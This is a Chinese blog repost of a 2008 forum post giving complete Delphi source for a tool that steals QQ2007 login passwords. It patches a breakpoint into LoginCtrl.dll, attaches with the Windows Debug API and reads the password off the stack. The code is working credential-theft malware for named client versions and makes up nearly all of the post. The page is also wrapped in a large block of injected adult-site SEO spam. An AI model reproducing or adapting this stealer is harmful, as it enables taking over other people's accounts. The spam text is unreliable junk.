青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

利用Debug Api 獲得QQ2007密碼

Posted on 2010-01-13 21:47 S.l.e!ep.¢% 閱讀(398) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
利用Debug Api 獲得QQ2007密碼
open[xgc] 當前離線 添加 open[xgc] 的聲望 反映此帖

標 題: 利用Debug Api 獲得QQ2007密碼
作 者: open[xgc]
時 間: 2008-03-04,12:52
鏈 接: http://bbs.pediy.com/showthread.php?t=60623

隨手寫寫的代碼.這是上年的代碼.2008版同樣可以在ESP+24讀取密碼.只不過下斷位置不同罷了.

{*******************************************************}
{???????????????????????????????????????????????????????}
{???????利用Debug?Api?獲得QQ2007密碼????????????????????}
{???只支持QQ2007版本為7.1.576.1763或7.0.431.1723????????}
{???????版權所有?(C)?2008?Open[x.g.c]???????????????????}
{???????????????????????????????????????????????????????}
{*******************************************************}

unit?Unit1;

interface

uses
??Windows,?Messages,?SysUtils,?Variants,?Classes,?Graphics,?Controls,?Forms,
??Dialogs,?StdCtrls,?ComCtrls,psapi,StrUtils;

type
??TForm1?=?class(TForm)
????Button1:?TButton;
????Label1:?TLabel;
????procedure?Button1Click(Sender:?TObject);
??private
????{?Private?declarations?}
??public
????{?Public?declarations?}
??end;

var
??Form1:?TForm1;
const
????Code?:DWORD?=?$CC;
????JCode?:DWORD?=$8D;
implementation

{$R?*.dfm}
var
??ProcessID:?DWORD;

function?HexToInt(HexStr:?string):?Int64;
var
??RetVar:?Int64;
??i:?byte;
begin
??HexStr?:=?UpperCase(HexStr);
??if?HexStr[length(HexStr)]?=?'H'?then
????Delete(HexStr,?length(HexStr),?1);
??RetVar?:=?0;
??for?i?:=?1?to?length(HexStr)?do?begin
????RetVar?:=?RetVar?shl?4;
????if?HexStr[i]?in?['0'..'9']?then
??????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?48)
????else
??????if?HexStr[i]?in?['A'..'F']?then
????????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?55)
??????else?begin
????????Retvar?:=?0;
????????break;
??????end;
??end;
??Result?:=?RetVar;
end;


function?GetMem(nOK??:THANDLE;Addr:DWORD;len:integer=0):string;
const?FindCount=100;
var
????buf1:array[0..FindCount]?of?pchar?;
????OK??:BOOL;
????nSize:?DWORD;
????lpNumberOfBytesRead:cardinal;
????res,tmp:string;
????s:array[0..FindCount]?of?string;
????i:integer;
begin
??if?len<>0?then?begin
????nSize:=len?;
????buf1[0]:=AllocMem(nSize);
????OK?:=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
????if(OK?or?(nSize<>lpNumberOfBytesRead))?then?begin
??????s[0]:='';
??????for?i?:=0??to?nSize-1?do??begin
????????s[0]?:=?s[0]?+?format('%.2X',[ord(buf1[0][i])]);
??????end;
????end;
????FreeMem(buf1[0],?nSize);
????tmp:=s[0];
????i:=1;
????res:='';
????while?i<length(tmp)?do?begin
??????res:=res+chr(HexToInt(copy(tmp,i,2)));
??????inc(i,2);
????end;
????result:=res;
????exit;
??end;
end;



procedure?NewProcess;
??var
??????I:?Integer;
??????Count:?DWORD;
??????ModHandles:?array[0..$3FFF?-?1]?of?DWORD;
??????ModInfo:?TModuleInfo;
??????ModName:?array[0..MAX_PATH]?of?char;
??????Num?:?Cardinal;
??????Rc,ok?:Boolean;
??????DebugD:?DEBUG_EVENT;
??????Context:?_CONTEXT;
??????base:?Pointer;
??????ProcHand?:?THandle;
??????ThreadHandle?:THandle;
??????EAX?:?string;
begin
??????ProcHand?:=?OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
??????if?ProcHand?<>?0?then
???try
??????EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
??????????for?I?:=0?to?(Count?div?SizeOf(DWORD))?-?1?do
??????????????if?(GetModuleFileNameEx(ProcHand,ModHandles[I],ModName,SizeOf(ModName))?>?0)?and?GetModuleInformation(ProcHand,
??????????????????ModHandles[I],@ModInfo,SizeOf(ModInfo))?and?(RightStr(UpperCase(ModName),13)=?'LOGINCTRL.DLL')?then
???????????????????begin
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$22C3A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$2043A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
?????????????????????ok?:=?WriteProcessMemory(ProcHand,base,@Code,1,Num);
?????????????????????if?not?ok?then?Exit;
?????????????????????if??not?DebugActiveProcess(ProcessID)?then??Exit;
?????????????????????Rc?:=?True;
?????while?WaitForDebugEvent(DebugD,?INFINITE)?do
???????begin
?????????case?DebugD.dwDebugEventCode?of
????????????EXIT_PROCESS_DEBUG_EVENT:
?????????begin
????????????Form1.Label1.Caption?:=?'被調試進程中止';
????????????Break;
???????????end;
????????????CREATE_PROCESS_DEBUG_EVENT:
?????????begin
????????????ThreadHandle?:=?DebugD.CreateProcessInfo.hThread;
????????????Form1.Label1.Caption?:=?'請輸入密碼點登錄';
??????????end;
?????????????EXCEPTION_DEBUG_EVENT:
?????????begin
???????????case?DebugD.Exception.ExceptionRecord.ExceptionCode?of
?????????????EXCEPTION_BREAKPOINT:
??????begin
?????????if??base?=?DebugD.Exception.ExceptionRecord.ExceptionAddress?then
?????????begin
???????????Context.ContextFlags?:=?CONTEXT_FULL;
???????????GetThreadContext(ThreadHandle,?Context);
???????????EAX?:=?Trim(GetMem(ProcHand,Context.Esp?+?$24,20));
???????????Form1.Label1.Caption?:=?'QQ密碼:'?+?EAX??;
???????????Rc?:=?WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
???????????Context.Eip?:=?dword(base);
???????????SetThreadContext(ThreadHandle,?Context);
????????end;
??????end;
???end;
???????end;
??????end;
????if?Rc?then
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,DBG_CONTINUE)
????else
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,?DBG_EXCEPTION_NOT_HANDLED);
????end;
??????CloseHandle(ThreadHandle);
??end;
??????finally
??????????CloseHandle(ProcHand);
??????end;
??end;


procedure?TForm1.Button1Click(Sender:?TObject);
var
??h:?HWND;
??ThreadID:?THandle;
begin
??h?:=?FindWindow(nil,'QQ用戶登錄');
??if?h?=?0?then
?begin
??Form1.Label1.Caption?:=?'沒有找到QQ登錄框'??;
??Exit;
?end;
??GetWindowThreadProcessId(h,ProcessID)?;
??CreateThread(nil,?0,?@NewProcess,?nil,?0,?ThreadID)?;
end;

end.
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            午夜视频久久久久久| 欧美成人激情视频| 亚洲在线免费视频| 国产精品理论片| 亚洲欧美制服中文字幕| 亚洲欧美激情一区| 伊人天天综合| 亚洲日本久久| 国产精品超碰97尤物18| 欧美中文字幕久久| 久久精品国产久精国产思思| 亚洲国产日韩欧美| 99视频精品| 国产在线观看一区| 亚洲高清视频一区二区| 欧美午夜精品久久久| 久久久久国色av免费看影院 | 久久精品一本久久99精品| 性色av一区二区三区红粉影视| 国语自产偷拍精品视频偷| 欧美阿v一级看视频| 欧美人在线视频| 西西人体一区二区| 欧美电影专区| 欧美在线视频在线播放完整版免费观看 | 在线看成人片| 99精品视频免费| 韩国av一区二区三区四区| 亚洲福利在线看| 国产精品一级二级三级| 欧美韩日一区| 国产欧美一区二区精品婷婷| 亚洲国产精品成人久久综合一区| 国产精品尤物| 欧美激情欧美狂野欧美精品 | 久久精品国产亚洲5555| 一区二区三区四区五区精品| 久久黄金**| 亚洲欧美不卡| 欧美乱大交xxxxx| 老司机成人网| 国产欧美一级| 亚洲无线视频| 99re6热在线精品视频播放速度| 久久动漫亚洲| 欧美一区二区在线免费播放| 欧美日韩精品一区二区三区| 美国成人直播| 韩国一区二区三区在线观看| 亚洲一区二区不卡免费| 一本大道久久a久久精二百| 久久另类ts人妖一区二区| 欧美一区二区三区日韩| 国产精品久久国产精麻豆99网站| 91久久精品美女高潮| 亚洲激情影视| 久久一二三四| 欧美www视频| 黄色精品一二区| 午夜在线观看欧美| 欧美一区二区日韩| 国产日韩亚洲| 欧美一级夜夜爽| 欧美一区二区视频观看视频| 国产精品男女猛烈高潮激情 | 亚洲第一二三四五区| 在线观看国产精品网站| 久久久水蜜桃| 欧美激情aⅴ一区二区三区 | 欧美日本不卡视频| 9l视频自拍蝌蚪9l视频成人| 中文网丁香综合网| 国产精品久久久久aaaa| 亚洲欧美亚洲| 久久婷婷国产综合精品青草| 在线观看日韩国产| 欧美成人国产va精品日本一级| 欧美高清视频在线| 一区二区三区三区在线| 国产精品久久久久久久久婷婷| 亚洲一二三区在线观看| 久久精品99国产精品酒店日本| 国产亚洲欧美日韩在线一区| 久久国产精品网站| 欧美激情一区二区三区在线视频观看| 在线视频观看日韩| 欧美好吊妞视频| 中国av一区| 久久精品国产99国产精品| 在线不卡a资源高清| 欧美激情中文字幕一区二区| 在线一区视频| 久久网站热最新地址| 亚洲精品在线电影| 国产精品久久夜| 久久嫩草精品久久久精品一| 亚洲黄色在线看| 羞羞视频在线观看欧美| 亚洲国产高清在线| 国产精品久久久久久久9999| 久久久综合网站| 中文精品视频一区二区在线观看| 久久久久久高潮国产精品视| 日韩天堂av| 国产自产精品| 国产精品国产一区二区| 久久夜精品va视频免费观看| 中文精品在线| 亚洲高清在线视频| 欧美一区二区三区在线观看视频| 亚洲欧洲在线一区| 国产亚洲综合在线| 欧美日韩在线视频首页| 久久艳片www.17c.com| 亚洲自拍啪啪| 亚洲精品精选| 欧美不卡在线视频| 欧美伊人影院| 一区二区三区久久| 亚洲人体1000| 在线免费观看日本一区| 国产在线国偷精品产拍免费yy| 国产精品草草| 欧美日韩亚洲不卡| 欧美日本不卡视频| 欧美成年人视频网站欧美| 久久久精品久久久久| 性亚洲最疯狂xxxx高清| 一区二区三区成人| 亚洲乱亚洲高清| 亚洲第一级黄色片| 欧美黄色成人网| 老牛国产精品一区的观看方式| 久久gogo国模裸体人体| 午夜精品一区二区三区四区| 亚洲视屏一区| 一本色道久久综合| 一本色道88久久加勒比精品| 亚洲欧洲在线视频| 亚洲精品乱码久久久久久日本蜜臀 | 欧美亚洲在线| 欧美一级久久久久久久大片| 亚洲伊人第一页| 亚洲午夜女主播在线直播| 99综合在线| 亚洲私人影院| 亚洲欧美精品suv| 亚洲免费在线视频一区 二区| 中国成人黄色视屏| 亚洲一区免费视频| 午夜精品久久久久影视| 午夜精品久久| 久久精品综合| 欧美 亚欧 日韩视频在线| 欧美成人精品在线观看| 欧美激情网站在线观看| 欧美性猛交一区二区三区精品| 国产精品成人午夜| 国产欧美日韩在线观看| 国内精品久久久| 亚洲国产精品一区二区第四页av| 91久久国产综合久久91精品网站| 亚洲免费成人av| 香蕉乱码成人久久天堂爱免费 | 亚洲第一天堂av| 亚洲靠逼com| 亚洲一区二区三区精品视频| 亚洲欧美区自拍先锋| 久久国产综合精品| 欧美激情亚洲综合一区| av不卡免费看| 久久国产精品久久w女人spa| 一区二区高清在线| 欧美日韩和欧美的一区二区| 欧美网站在线| 精品成人一区| 99在线观看免费视频精品观看| 亚洲免费视频在线观看| 久久青青草综合| 亚洲乱码国产乱码精品精可以看 | 欧美成年人网| 亚洲精品一区二区在线观看| 亚洲女人小视频在线观看| 久久理论片午夜琪琪电影网| 欧美视频在线免费看| 黄色一区二区三区四区| 亚洲素人在线| 欧美高清视频一区二区三区在线观看 | 亚洲国产日韩欧美在线99 | 亚洲国产日韩欧美在线动漫| 午夜在线不卡| 亚洲精品一二| 久久香蕉国产线看观看av| 国产精品国产三级国产专区53 | 免费日韩av电影| 亚洲欧美视频一区| 国产精品成人一区二区| 亚洲精品国精品久久99热一| 久久久精彩视频| 亚洲在线视频观看|